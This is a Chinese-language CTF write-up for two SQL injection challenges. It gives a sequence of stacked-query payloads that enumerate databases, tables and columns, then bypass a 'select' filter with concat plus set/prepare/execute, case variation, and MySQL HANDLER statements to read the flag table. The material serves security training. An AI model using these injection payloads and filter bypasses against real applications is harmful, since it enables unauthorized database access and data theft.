目录
[强网杯 2019]随便注
先进行简单测试
?inject=1' and 1=1--+
出现回显
发现存在字符型SQL注入漏洞,但是’#‘无法使用
接下来尝试使用order by确认当前表的字段数为2
继续使用union联合注入,发现回显正则表达式。
select被过滤且无法大小写和双写绕过。
尝试堆叠注入。
?inject=1';show databases;--+
成功回显!那么爆当前数据库的表
?inject=1';show tables;--+
感觉第一张表有问题,继续爆该表字段
(这里要注意纯数字作为表名要加反引号`19198109311141514`)
?inject=1';show columns from `1919810931114514`;--+
成功得到字段“flag”,很明显我们就只剩最后一步,爆出该字段的数据即可。
但是select已经被比较严格地过滤了,我们需要寻找其他方法。
方法一、set,prepare预编译
使用预编译来组成我们想要执行的SQL语句‘select flag from `1919810931114514`'
故构造如下payload
?inject=1';set @sql=concat('sel','ect flag from `1919810931114514`');prepare a from @sql;EXECUTE a;--+
得到回显
使用了strstr对set和prepare过滤,但是这个函数过滤并不严格,采用大小写绕过。
?inject=1';Set @sql=concat('sel','ect flag from `1919810931114514`');Prepare a from @sql;EXECUTE a;--+
方法二,使用handler命令
handler命令是mysql专有的一个查询表数据的函数,但是不如select功能强大。
基本语法:handler table_name OPEN 打开表
handler table_name read first 读表的第一行
handler table_name read next 读下一行
handler table_name close 关闭表
用该命令构造payload
?inject=1';Handler `1919810931114514` open ;Handler`1919810931114514` read first;--+
得到flag。
[GYCTF2020]Blacklist
这道题与第一题相似度很高,但是正则表达式过滤的范围有所差别。
可以看到把我们第一种方法使用的set和prepare都过滤了,不过没有关系,我们继续使用handler构造payload!
中间的解题过程笔者不详细展示了,与第一题相似度极高。
最后的payload
?inject=1';handler FlagHere open;handler FlagHere read first;--+
得到flag。